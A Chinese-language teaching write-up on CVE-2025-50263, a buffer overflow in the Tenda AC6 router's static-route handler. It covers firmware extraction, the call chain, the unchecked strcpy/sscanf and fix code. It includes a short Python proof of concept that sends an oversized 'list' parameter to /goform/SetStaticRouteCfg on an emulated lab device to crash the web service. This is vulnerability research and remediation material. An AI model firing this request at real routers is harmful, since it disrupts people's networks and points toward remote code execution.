Tenda AC6路由器CVE-2025-50263缓冲区溢出漏洞分析与利用教学文档

1. 漏洞概述

1.1 基本信息

• 漏洞名称: Tenda AC6缓冲区溢出漏洞
• 漏洞编号: CVE-2025-50263
• 漏洞类型: 缓冲区溢出
• 威胁等级: 高危
• 影响版本: Tenda AC6 v15.03.05.16_multi
• 固件下载: https://www.tenda.com.cn/material/show/2661

1.2 漏洞位置

漏洞存在于fromSetRouteStatic函数中，通过list参数触发缓冲区溢出。

2. 环境准备与漏洞挖掘方法

2.1 固件分析环境搭建

1. 使用binwalk等工具解压固件文件
2. 获取squashfs-root文件系统
3. 准备QEMU模拟环境进行动态分析

2.2 漏洞挖掘流程

2.2.1 查找Web服务

# 在squashfs-root目录中搜索httpd相关文件
find . -name "*httpd*"

• 通常发现两个文件：httpd（生产版本）和dhttpd（开发版本）
• httpd是路由器暴露在网络上的Web服务

2.2.2 分析启动流程

查看/etc_ro/init.d/rcS启动脚本：

cp -rf ./webroot_ro/* ./webroot/

此命令将webroot_ro目录内容复制到webroot，为模拟环境做准备。

2.2.3 使用EMBA进行自动化扫描

sudo ./emba -l ./logs/TendaAC_6 -f /path/to/squashfs-root

EMBA工具可识别危险函数调用，如：

• fprintf: 56次调用（可能存在格式字符串漏洞）
• mmap: 1次调用（需要检查错误处理）

3. 漏洞原理深度分析

3.1 漏洞函数调用链

sub_42240（初始化函数）
    ↓
sub_16F24（注册回调函数）
    ↓
注册路径：goform/SetStaticRouteCfg → fromSetRouteStatic
    ↓
fromSetRouteStatic（漏洞函数）
    ↓
sub_2B7C4（获取list参数） → sub_77EC8（处理数据）

3.2 关键漏洞点分析

3.2.1 fromSetRouteStatic函数漏洞

// 伪代码表示漏洞逻辑
int fromSetRouteStatic(int a1) {
    v5 = sub_2B7C4(a1, "list", &unk_E2118); // 获取用户输入的list参数
    // 缺少对v5的边界检查！
    v1 = sub_77EC8("adv.staticroute", v5, 126); // 直接使用未验证的v5
}

3.2.2 sub_2B7C4函数中的sscanf问题

// 不安全的sscanf使用
sscanf(input_data, format, buffer);
// 未指定读取长度限制，可能导致缓冲区溢出

3.3 具体漏洞机制

1. 输入验证缺失: sub_2B7C4函数返回用户控制的字符串，但未进行充分验证
2. 边界检查缺失: fromSetRouteStatic中直接使用strcpy(s, src)，未检查缓冲区大小
3. 危险函数使用: 使用不安全的字符串处理函数（sscanf、strcpy等）

4. 漏洞利用实践

4.1 环境配置

• 使用QEMU模拟：qemu-arm-static
• 设置虚拟网桥：br0
• 目标IP：192.168.100.2

4.2 PoC代码

import requests

url = "http://192.168.100.2/goform/SetStaticRouteCfg"
data = {
    "list": 'a' * 1000  # 构造超长payload触发溢出
}

try:
    response = requests.get(url, params=data)
    print(response.text)
except Exception as e:
    print(f"连接错误: {e}")

4.3 漏洞验证

执行PoC后，目标系统出现：

Segmentation fault (core dumped)

表明成功触发缓冲区溢出，程序异常退出。

4.4 流量分析

使用Wireshark捕获网络流量：

• 过滤条件：http && ip.addr == 192.168.100.2
• 观察HTTP请求中list参数的长度和内容

5. 漏洞修复方案

5.1 安全编码实践

5.1.1 输入验证加强

int __fastcall fromSetRouteStatic(int a1) {
    // 添加指针有效性检查
    v5 = sub_2B7C4(a1, "list", &unk_E2118);
    if (!v5) {
        v6 = 1;
        goto response;
    }
    
    // 添加长度验证
    if (strlen(v5) >= MAX_BUFFER_SIZE) {
        // 处理错误情况
        return ERROR_INVALID_INPUT;
    }
}

5.1.2 使用安全函数替代

// 使用strncpy代替strcpy
strncpy(dest, src, dest_size - 1);
dest[dest_size - 1] = '\0';

// 使用snprintf代替sprintf
snprintf(buffer, sizeof(buffer), "format", args);

// 使用sscanf时指定最大长度
sscanf(input, "%511s", buffer); // 限制读取511字符

5.2 具体修复代码

int __fastcall fromSetRouteStatic(int a1) {
    char buffer[512]; // 明确定义缓冲区大小
    
    v5 = sub_2B7C4(a1, "list", &unk_E2118);
    if (!v5) {
        v6 = 1;
        goto response;
    }
    
    // 安全的数据复制
    strncpy(buffer, v5, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    
    // 安全调用
    v1 = sub_77EC8("adv.staticroute", buffer, sizeof(buffer));
    if (v1 && CommitCom(v1)) {
        snprintf(s, sizeof(s), "advance_type=%d", 8);
        send_msg_to_netctrl(5, s);
    } else {
        v6 = 1;
    }
    
response:
    // 响应处理代码
}

5.3 防御措施建议

1. 代码审计: 定期检查所有使用字符串处理函数的代码
2. 边界检查: 在所有数据拷贝操作前验证缓冲区大小
3. 安全函数: 强制使用安全版本的标准库函数
4. 输入过滤: 对用户输入进行严格的长度和内容验证

6. 总结与延伸

6.1 漏洞利用关键点

• 漏洞触发URL: /goform/SetStaticRouteCfg
• 恶意参数: list（长度超过512字节）
• 利用效果: 导致服务崩溃，潜在远程代码执行

6.2 学习要点

1. IoT设备安全分析流程: 从固件提取到漏洞验证的完整过程
2. 缓冲区溢出原理: 理解内存操作不当导致的安全问题
3. 漏洞挖掘技巧: 结合静态分析和动态测试的方法
4. 安全开发实践: 如何编写安全的嵌入式设备代码

6.3 参考资料

• 原始漏洞分析: https://github.com/faqiadegege/IoTVuln/blob/main/tendaAC6_SetStaticRouteCfg_list_overflow/detail.md
• 相关工具: binwalk、QEMU、EMBA、IDA Pro、Wireshark

通过本教学文档，学习者可以全面理解CVE-2025-50263漏洞的技术细节，掌握IoT设备漏洞分析的基本方法，并了解如何预防类似安全问题的发生。